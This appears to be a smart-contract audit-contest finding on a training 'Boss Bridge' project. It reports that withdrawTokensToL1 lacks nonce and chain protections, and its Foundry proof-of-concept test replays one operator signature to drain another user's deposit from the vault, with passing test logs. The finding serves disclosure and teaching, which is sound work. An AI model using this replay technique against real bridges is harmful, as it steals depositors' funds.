First Flight #4: Boss Bridge
First Flight #4
Beginner FriendlyFoundryBridge
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`L1BossBridge:: withdrawTokensToL1` lacks of standard EIP 712 implementation, cause replay attacks which will ultimately drain the vault.

abhishekthakur

Summary

withdrawTokensToL1 function lacks of standard EIP 712 implementation and uses generic implementation for signatures, which can used by attackers on different chains to drain vaults funds.

Vulnerability Details

In withdrawTokensL1 function, only (address to, uint256 amount, uint8 v, bytes32 r, bytes32 s ) values are given as input. Which forward this given input to function sendToL1 which take v, r and s values as is and encode other variables as message. This approach is generic. Lack of nonce, chainId and deadline make this vulnerable to replay attacks.
Attacker can get a valid signature and use it multiple times. As there is no differentiate like nonce or chain id, so it will be treated as valid signature by the protocol and which will lead to loss of funds.

##POC
In existing test suite file L1TokenBridge.t.sol we create user2 address and transfer 1000e18 tokens like how it's been sent to user
Here is the testForCheckingReplayAttacks

function testForCheckingReplayAttacks () public {
//// user A deposit 10 tokens
vm.startPrank(user);
uint256 depositAmount = 10e18;
uint256 userInitialBalance = token.balanceOf(address(user));
console2.log ("UserA initial Balance", userInitialBalance);
​
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
​
assertEq(token.balanceOf(address(vault)), depositAmount);
assertEq(token.balanceOf(address(user)), userInitialBalance - depositAmount);
vm.stopPrank();
//// user B deposit tokens
vm.startPrank(user1);
uint256 user1InitialBalance = token.balanceOf(address(user1));
​
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user1, userInL2, depositAmount);
​
assertEq(token.balanceOf(address(vault)), depositAmount * 2);
assertEq(token.balanceOf(address(user1)), user1InitialBalance - depositAmount);
vm.stopPrank();
//// user A will claim all available tokens
vm.startPrank(user);
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(user, depositAmount), operator.key);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
//// User A balance After claiming user B part as well
assertEq(token.balanceOf(address(user)), userInitialBalance + depositAmount);
console2.log ("UserA final Balance", token.balanceOf(address(user)));
//// Vault balance becomes zero, so user B won't be able to claim anymore
assertEq(token.balanceOf(address(vault)), 0);
}

run forge --match-test testForCheckingReplayAttacks -vv in terminal to check all logs.

Running 1 test for test/L1TokenBridge.t.sol:L1BossBridgeTest
[PASS] testForCheckingReplayAttacks() (gas: 144484)
Logs:
UserA initial Balance 1000000000000000000000
UserA final Balance 1010000000000000000000

Impact

Users Funds will be lost.

Tools Used

Manual Review

Recommendations

Use Standard EIP-712 approach for signatures to make it robust and free from replay attacks.

Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.